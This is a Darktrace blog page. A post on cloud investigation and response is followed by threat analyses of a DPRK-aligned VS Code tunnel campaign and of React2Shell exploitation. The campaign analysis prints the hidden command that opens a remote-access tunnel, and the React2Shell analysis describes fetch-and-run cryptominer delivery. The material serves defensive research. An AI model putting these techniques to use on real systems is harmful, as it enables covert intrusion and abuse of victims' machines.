Blog
/
Cloud
/
August 14, 2025

How Organizations are Addressing Cloud Investigation and Response

The importance of cloud investigation and incident response are compounded by an expanded attack surface in the cloud, lack of advanced tooling to upskill teams, and increasing regulatory pressure from compliance regulations. This blog dives into these challenges and explores potential solutions for security teams attempting to secure their cloud environment
Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Calum Hall
Technical Content Researcher
Cloud investigation and responseDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog imageDefault blog image
14
Aug 2025

Why cloud investigation and response needs to evolve

As organizations accelerate their move to the cloud, they’re confronting two interrelated pressures: a rapidly expanding attack surface and rising regulatory scrutiny. The dual pressure is forcing security practitioners to evolve their strategies in the cloud, particularly around investigation and response, where we see analysts spending the most time. This work is especially difficult in the cloud, often requiring experienced analysts to manually stitch together evidence across fragmented systems, unfamiliar platforms, and short-lived assets.

However, adapting isn’t easy. Many teams are operating with limited budgets and face a shortage of cloud-specific security talent. That’s why more organizations are now prioritizing tools that not only deliver deep visibility and rapid response in the cloud, but also help upskill their analysts to keep pace with threats and compliance demands.

Our 2024 survey report highlights just how organizations are recognizing gaps in their cloud security, feeling the heat from regulators, and making significant investments to bolster their cloud investigation capabilities.

In this blog post, we’ll explore the current challenges, approaches, and strategies organizations are employing to enhance their cloud investigation and incident response.

Recognizing the gaps in current cloud investigation and response methods

Complex environments & static tools

Due to the dynamic nature of cloud infrastructure, ephemeral assets, autoscaling environments, and multi-cloud complexity, traditional investigation and response methods which rely on static snapshots and point-in-time data, are fundamentally mismatched. And with Cloud environment APIs needing deep provider knowledge and scripting skills to extract much needed evidence its unrealistic for one person to master all aspects of cloud incident response.

Analysts are still stitching together logs from fragmented systems, manually correlating events, and relying on post-incident forensics that often arrive too late to drive meaningful response. These approaches were built for environments that rarely changed. In the cloud, where assets may only exist for minutes and attacker movement can span regions or accounts in seconds, point-in-time visibility simply can’t keep up. As a result, critical evidence is missed, timelines are incomplete, and investigations drag on longer than they should.

Even some modern approaches still depend heavily on static configurations, delayed snapshots, or siloed visibility that can’t keep pace with real-time attacker movement.

There is even the problem of  identifying what cloud data sources hold the valuable information needed to investigate in the first place. With AWS alone having over 200 products, each with its own security practices and data sources.It can be challenging to identify where you need to be looking.  

To truly secure the cloud, investigation and response must be continuous, automated, and context-rich. Tools should be able to surface the signal from the noise and support analysts at every step, even without deep forensics expertise.

Increasing compliance pressure

With the rise of data privacy regulations and incident reporting mandates worldwide, organizations face heightened scrutiny. Noncompliance can lead to severe penalties, making it crucial to have robust cloud investigation and response mechanisms in place. 74% of organizations surveyed reported that data privacy regulations complicate incident response, underscoring the urgency to adapt to regulatory requirements.

In addition, a majority of organizations surveyed (89%) acknowledged that they suffer damage before they can fully contain and investigate incidents, particularly in cloud environments, highlighting the need for enhanced cloud capabilities.  

Enhancing cloud investigation and response

To address these challenges, organizations are actively growing their capabilities to perform investigations in the cloud. Key steps include:

Allocating and increasing budgets:  

Recognizing the importance of cloud-specific investigation tools, many organizations have started to allocate dedicated budgets for cloud forensics. 83% of organizations have budgeted for cloud forensics, with 77% expecting this budget to increase. This reflects a strong commitment to improving cloud security.

Implementing automation that understands cloud behavior

Automation isn’t just about speeding up tasks. While modern threats require speed and efficiency from defenders, automation aims to achieve this by enabling consistent decision making across unique and dynamic environments. Traditional SOAR platforms, often designed for static on-prem environments, struggle to keep pace with the dynamic and ephemeral nature of the cloud, where resources can disappear before a human analyst even has a chance to look at them. Cloud-native automation, designed to act on transient infrastructure and integrate seamlessly with cloud APIs, is rapidly emerging as the more effective approach for real-time investigation and response. Automation can cover collection, processing, and storage of incident evidence without ever needing to wait for human intervention and the evidence is ready and waiting all in once place, regardless of if the evidence is cloud-provider logs, disk images, or  memory dumps. With the right automation tools you can even go further and automate the full process from end to end covering acquisition, processing, analysis, and response.

Artificial Intelligence (AI) that augments analysts’ intuition not just adds speed

While many vendors tout AI’s ability to “analyze large volumes of data,” that’s table stakes. The real differentiator is how AI understands the narrative of an incident, surfacing high-fidelity alerts, correlating attacker movement across cloud and hybrid environments, and presenting findings in a way that upskills rather than overwhelms analysts.  

In this space, AI isn’t just accelerating investigations, it’s democratizing them by reducing the reliance on highly specialized forensic expertise.  

Strategies for effective cloud investigation and response

Organizations are also exploring various strategies to optimize their cloud investigation and response capabilities:

Enhancing visibility and control:

  • Unified platforms: Implementing platforms that provide a unified view across multiple cloud environments can help organizations achieve better visibility and control. This consolidation reduces the complexity of managing disparate tools and data sources.
  • Improved integration: Ensuring that all security tools and platforms are seamlessly integrated is critical. This integration facilitates better data sharing and cohesive incident management.
  • Cloud specific expertise: Training and Recruitment: Investing in training programs to develop cloud-specific skills among existing staff and recruiting experts with cloud security knowledge can bridge the skill gap.
  • Continuous learning: Given the constantly evolving nature of cloud threats, continuous learning and adaptation are essential for maintaining effective security measures.

Leveraging automation and AI:

  • Automation solutions: Automation solutions for cloud environments can significantly speed up and simplify incident response efficiency. These solutions can handle repetitive tasks, allowing security teams to focus on more complex issues.
  • AI powered analysis: AI can assist in rapidly analyzing incident data, identifying anomalies, and predicting potential threats. This proactive approach can help prevent incidents before they escalate.

Cloud investigation and response with Darktrace

Darktrace’s  forensic acquisition & investigation capabilities helps organizations address the complexities of cloud investigations and incident response with ease. The product seamlessly integrates with AWS, GCP, and Azure, consolidating data from multiple cloud environments into one unified platform. This integration enhances visibility and control, making it easier to manage and respond to incidents across diverse cloud infrastructures.

By leveraging machine learning and automation, Forensic Acquisition & Investigation accelerates the investigation process by quickly analyzing vast amounts of data, identifying patterns, and providing actionable insights. Automation reduces manual effort and response times, allowing your security team to focus on the most pressing issues.

Forensic Acquisition & Investigation can help you stay ahead of threats whilst also meeting regulatory requirements, helping you to maintain a robust cloud security position.

Inside the SOC
Darktrace cyber analysts are world-class experts in threat intelligence, threat hunting and incident response, and provide 24/7 SOC support to thousands of Darktrace customers around the globe. Inside the SOC is exclusively authored by these experts, providing analysis of cyber incidents and threat trends, based on real-world experience in the field.
Written by
Calum Hall
Technical Content Researcher

More in this series

No items found.

Blog

/

Network

/

January 23, 2026

Darktrace Identifies Campaign Targeting South Korea Leveraging VS Code for Remote Access

campaign targeting south orea leveraging vs code for remote accessDefault blog imageDefault blog image

Introduction

Darktrace analysts recently identified a campaign aligned with Democratic People’s Republic of Korea (DPRK) activity that targets users in South Korea, leveraging Javascript Encoded (JSE) scripts and government-themed decoy documents to deploy a Visual Studio Code (VS Code) tunnel to establish remote access.

Technical analysis

Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.
Figure 1: Decoy document with title “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026”.

The sample observed in this campaign is a JSE file disguised as a Hangul Word Processor (HWPX) document, likely sent to targets via a spear-phishing email. The JSE file contains multiple Base64-encoded blobs and is executed by Windows Script Host. The HWPX file is titled “Documents related to selection of students for the domestic graduate school master's night program in the first half of 2026 (1)” in C:\ProgramData and is opened as a decoy. The Hangul documents impersonate the Ministry of Personnel Management, a South Korean government agency responsible for managing the civil service. Based on the metadata within the documents, the threat actors appear to have taken the documents from the government’s website and edited them to appear legitimate.

Base64 encoded blob.
Figure 2: Base64 encoded blob.

The script then downloads the VSCode CLI ZIP archives from Microsoft into C:\ProgramData, along with code.exe (the legitimate VS Code executable) and a file named out.txt.

In a hidden window, the command cmd.exe /c echo | "C:\ProgramData\code.exe" tunnel --name bizeugene > "C:\ProgramData\out.txt" 2>&1 is run, establishinga VS Code tunnel named “bizeugene”.

VSCode Tunnel setup.
Figure 3: VSCode Tunnel setup.

VS Code tunnels allows users connect to a remote computer and use Visual Studio Code. The remote computer runs a VS Code server that creates an encrypted connection to Microsoft’s tunnel service. A user can then connect to that machine from another device using the VS Code application or a web browser after signing in with GitHub or Microsoft. Abuse of VS Code tunnels was first identified in 2023 and has since been used by Chinese Advance Persistent Threat (APT) groups targeting digital infrastructure and government entities in Southeast Asia [1].

 Contents of out.txt.
Figure 4: Contents of out.txt.

The file “out.txt” contains VS Code Server logs along with a generated GitHub device code. Once the threat actor authorizes the tunnel from their GitHub account, the compromised system is connected via VS Code. This allows the threat actor to have interactive access over the system, with access to the VS Code’s terminal and file browser, enabling them to retrieve payloads and exfiltrate data.

GitHub screenshot after connection is authorized.
Figure 5: GitHub screenshot after connection is authorized.

This code, along with the tunnel token “bizeugene”, is sent in a POST request to hxxps://www[.]yespp[.]co[.]kr/common/include/code/out[.]php, a legitimate South Korean site that has been compromised is now used as a command-and-control (C2) server.

Conclusion

The use of Hancom document formats, DPRK government impersonation, prolonged remote access, and the victim targeting observed in this campaign are consistent with operational patterns previously attributed to DPRK-aligned threat actors. While definitive attribution cannot be made based on this sample alone, the alignment with established DPRK tactics, techniques, and procedures (TTPs) increases confidence that this activity originates from a DPRK state-aligned threat actor.

This activity shows how threat actors can use legitimate software rather than custom malware to maintain access to compromised systems. By using VS Code tunnels, attackers are able to communicate through trusted Microsoft infrastructure instead of dedicated C2 servers. The use of widely trusted applications makes detection more difficult, particularly in environments where developer tools are commonly installed. Traditional security controls that focus on blocking known malware may not identify this type of activity, as the tools themselves are not inherently malicious and are often signed by legitimate vendors.

Credit to Tara Gould (Malware Research Lead)
Edited by Ryan Traill (Analyst Content Lead)

Appendix

Indicators of Compromise (IoCs)

115.68.110.73 - compromised site IP

9fe43e08c8f446554340f972dac8a68c - 2026년 상반기 국내대학원 석사야간과정 위탁교육생 선발관련 서류 (1).hwpx.jse

MITRE ATTACK

T1566.001 - Phishing: Attachment

T1059 - Command and Scripting Interpreter

T1204.002 - User Execution

T1027 - Obfuscated Files and Information

T1218 - Signed Binary Proxy Execution

T1105 - Ingress Tool Transfer

T1090 - Proxy

T1041 - Exfiltration Over C2 Channel

References

[1]  https://unit42.paloaltonetworks.com/stately-taurus-abuses-vscode-southeast-asian-espionage/

Continue reading
About the author

Blog

/

Cloud

/

January 19, 2026

React2Shell Reflections: Cloud Insights, Finance Sector Impacts, and How Threat Actors Moved So Quickly

React2Shell Default blog imageDefault blog image

Introduction

Last month’s disclosure of CVE 2025-55812, known as React2Shell, provided a reminder of how quickly modern threat actors can operationalize newly disclosed vulnerabilities, particularly in cloud-hosted environments.

The vulnerability was discovered on December 3, 2025, with a patch made available on the same day. Within 30 hours of the patch, a publicly available proof-of-concept emerged that could be used to exploit any vulnerable server. This short timeline meant many systems remained unpatched when attackers began actively exploiting the vulnerability.  

Darktrace researchers rapidly deployed a new honeypot to monitor exploitation of CVE 2025-55812 in the wild.

Within two minutes of deployment, Darktrace observed opportunistic attackers exploiting this unauthenticated remote code execution flaw in React Server Components, leveraging a single crafted request to gain control of exposed Next.js servers. Exploitation quickly progressed from reconnaissance to scripted payload delivery, HTTP beaconing, and cryptomining, underscoring how automation and pre‑positioned infrastructure by threat actors now compress the window between disclosure and active exploitation to mere hours.

For cloud‑native organizations, particularly those in the financial sector, where Darktrace observed the greatest impact, React2Shell highlights the growing disconnect between patch availability and attacker timelines, increasing the likelihood that even short delays in remediation can result in real‑world compromise.

Cloud insights

In contrast to traditional enterprise networks built around layered controls, cloud architectures are often intentionally internet-accessible by default. When vulnerabilities emerge in common application frameworks such as React and Next.js, attackers face minimal friction.  No phishing campaign, no credential theft, and no lateral movement are required; only an exposed service and exploitable condition.

The activity Darktrace observed during the React2shell intrusions reflects techniques that are familiar yet highly effective in cloud-based attacks. Attackers quickly pivot from an exposed internet-facing application to abusing the underlying cloud infrastructure, using automated exploitation to deploy secondary payloads at scale and ultimately act on their objectives, whether monetizing access through cryptomining or to burying themselves deeper in the environment for sustained persistence.

Cloud Case Study

In one incident, opportunistic attackers rapidly exploited an internet-facing Azure virtual machine (VM) running a Next.js application, abusing the React/next.js vulnerability to gain remote command execution within hours of the service becoming exposed. The compromise resulted in the staged deployment of a Go-based remote access trojan (RAT), followed by a series of cryptomining payloads such as XMrig.

Initial Access

Initial access appears to have originated from abused virtual private network (VPN) infrastructure, with the source IP (146.70.192[.]180) later identified as being associated with Surfshark

The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.
Figure 1: The IP address above is associated with VPN abuse leveraged for initial exploitation via Surfshark infrastructure.

The use of commercial VPN exit nodes reflects a wider trend of opportunistic attackers leveraging low‑cost infrastructure to gain rapid, anonymous access.

Parent process telemetry later confirmed execution originated from the Next.js server, strongly indicating application-layer compromise rather than SSH brute force, misused credentials, or management-plane abuse.

Payload execution

Shortly after successful exploitation, Darktrace identified a suspicious file and subsequent execution. One of the first payloads retrieved was a binary masquerading as “vim”, a naming convention commonly used to evade casual inspection in Linux environments. This directly ties the payload execution to the compromised Next.js application process, reinforcing the hypothesis of exploit-driven access.

Command-and-Control (C2)

Network flow logs revealed outbound connections back to the same external IP involved in the inbound activity. From a defensive perspective, this pattern is significant as web servers typically receive inbound requests, and any persistent outbound callbacks — especially to the same IP — indicate likely post-exploitation control. In this case, a C2 detection model alert was raised approximately 90 minutes after the first indicators, reflecting the time required for sufficient behavioral evidence to confirm beaconing rather than benign application traffic.

Cryptominers deployment and re-exploitation

Following successful command execution within the compromised Next.js workload, the attackers rapidly transitioned to monetization by deploying cryptomining payloads. Microsoft Defender observed a shell command designed to fetch and execute a binary named “x” via either curl or wget, ensuring successful delivery regardless of which tooling was availability on the Azure VM.

The binary was written to /home/wasiluser/dashboard/x and subsequently executed, with open-source intelligence (OSINT) enrichment strongly suggesting it was a cryptominer consistent with XMRig‑style tooling. Later the same day, additional activity revealed the host downloading a static XMRig binary directly from GitHub and placing it in a hidden cache directory (/home/wasiluser/.cache/.sys/).

The use of trusted infrastructure and legitimate open‑source tooling indicates an opportunistic approach focused on reliability and speed. The repeated deployment of cryptominers strongly suggests re‑exploitation of the same vulnerable web application rather than reliance on traditional persistence mechanisms. This behavior is characteristic of cloud‑focused attacks, where publicly exposed workloads can be repeatedly compromised at scale more easily.

Financial sector spotlight

During the mass exploitation of React2Shell, Darktrace observed targeting by likely North Korean affiliated actors focused on financial organizations in the United Kingdom, Sweden, Spain, Portugal, Nigeria, Kenya, Qatar, and Chile.

The targeting of the financial sector is not unexpected, but the emergence of new Democratic People’s Republic of Korea (DPRK) tooling, including a Beavertail variant and EtherRat, a previously undocumented Linux implant, highlights the need for updated rules and signatures for organizations that rely on them.

EtherRAT uses Ethereum smart contracts for C2 resolution, polling every 500 milliseconds and employing five persistence mechanisms. It downloads its own Node.js runtime from nodejs[.]org and queries nine Ethereum RPC endpoints in parallel, selecting the majority response to determine its C2 URL. EtherRAT also overlaps with the Contagious Interview campaign, which has targeted blockchain developers since early 2025.

Read more finance‑sector insights in Darktrace’s white paper, The State of Cyber Security in the Finance Sector.

Threat actor behavior and speed

Darktrace’s honeypot was exploited just two minutes after coming online, demonstrating how automated scanning, pre-positioned infrastructure and staging, and C2 infrastructure traced back to “bulletproof” hosting reflects a mature, well‑resourced operational chain.

For financial organizations, particularly those operating cloud‑native platforms, digital asset services, or internet‑facing APIs, this activity demonstrates how rapidly geopolitical threat actors can weaponize newly disclosed vulnerabilities, turning short patching delays into strategic opportunities for long‑term access and financial gain. This underscores the need for a behavioral-anomaly-led security posture.

Credit to Nathaniel Jones (VP, Security & AI Strategy, Field CISO) and Mark Turner (Specialist Security Researcher)

Edited by Ryan Traill (Analyst Content Lead)

Appendices

Indicators of Compromise (IoCs)

146.70.192[.]180 – IP Address – Endpoint Associated with Surfshark

References

https://www.darktrace.com/resources/the-state-of-cybersecurity-in-the-finance-sector

Continue reading
About the author
Nathaniel Jones
VP, Security & AI Strategy, Field CISO
Your data. Our AI.
Elevate your network security with Darktrace AI